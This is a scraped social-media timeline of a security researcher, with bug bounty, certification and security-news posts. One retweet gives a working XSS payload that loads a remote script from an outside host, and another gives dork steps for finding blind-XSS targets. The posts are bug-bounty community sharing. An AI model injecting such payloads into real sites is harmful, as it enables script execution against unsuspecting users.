Aman Deep

🇮🇳 Software Engineer - Security Guy, I'm Hackuean7 on @HackTheBox_Eu -- Engineer by profession || Hacker by passion, who enjoys Tea and breaking things 💻.

[Aman Deep @HackUean7]

Thankyou @Google
@GoogleVRP for $$$$ 😄✌️
https://t.co/IOew4QwGjj

[Aman Deep @HackUean7]

@elonmusk @grok - Wow, Good to see live picture:)

[Aman Deep @HackUean7]

@stufflistings

[PT SWARM @ptswarm]

🧧 Our researcher Igor Sak-Sakovskiy has discovered an XXE in Chrome and Safari by ChatGPT!

Bounty: $28,000 💸

Here is the write-up 👉
https://t.co/EMnydNEoed

[Aman Deep @HackUean7]

Thanks @AlteredSecurity Team for an amazing course 🎉

[Altered Security @AlteredSecurity]

Congratulations to @hackuean7 for clearing our Certified Red Team Professional exam!
#ADLab #CRTP #AlteredSecurity cc @nikhil_mitt
https://t.co/Ieu8xslU8q

[Forbes @Forbes]

Security researchers from SquareX have discovered what they describe as critical flaws in the attachment scanning process of major email service providers, including Apple, Google, Microsoft, and Yahoo. https://t.co/jdaFTwO9xV

[Aman Deep @HackUean7]

https://t.co/JT1lFZBbzG

[Aman Deep @HackUean7]

https://t.co/P7rU4Mbb3c

[Aman Deep @HackUean7]

A review of zero-day in-the-wild exploits in 2023 @google https://t.co/s8JDopszFl

[Aman Deep @HackUean7]

@0xConda Congratulations 🎉

[Aman Deep @HackUean7]

https://t.co/8TUAswn8N2

[KNOXSS @KN0X55]

The Best Simple #XSS Payload

<Img Src=//X55.is OnLoad=import(src)>

Reasons:

1. It loads a remote script
2. It pops in SOURCE and DOM
3. It allows custom code in URL hash

https://t.co/nNqODwzUC0
Built for Pros.

[Aman Deep @HackUean7]

@PRSundar64 Ram mandir 🚩 22 - 1 - 24

[Mandiant (part of Google Cloud) @Mandiant]

We have finished our investigation into last week's Mandiant X account takeover and determined it was likely a brute force password attack, limited to this single account.

[Adel Ka @0x4D31]

Terrapin Attack: Breaking SSH Channel Integrity By Sequence Number Manipulation. https://t.co/ToTapAzZeb

scanner: https://t.co/Z5QFaOx1HB

[Aman Deep @HackUean7]

https://t.co/km0YPmmuEu

[Aman Deep @HackUean7]

https://t.co/7mmj7nwtEF

[Aman Deep @HackUean7]

https://t.co/qJ3maqCd9u

[Aman Deep @HackUean7]

https://t.co/5ARhApJkFS

[dirty0124 @dirtycoder0124]

How do I find forms for Blind XSS attacks?
1. Visit https://t.co/4mdNmrYH8u
2. Submit Target domain without "https://"
3. Click Next
4. All 5 dorks are for finding forms.
#bugbountytips #bubounty #bugbountytip
Sometimes I use a script to find forms in several URLs in one go.

[NULLCON @nullcon]

📽️Tech talk upload!👨‍💻Introducing multiple new classes of web race conditions

Firing up salvos of conflicting inputs to make state machines collapse, forge trusted data & lots more by James Kettle @albinowax @PortSwigger

🍿Enjoy the talk▶️https://t.co/JCbDaxueGe

#NullconGoa2023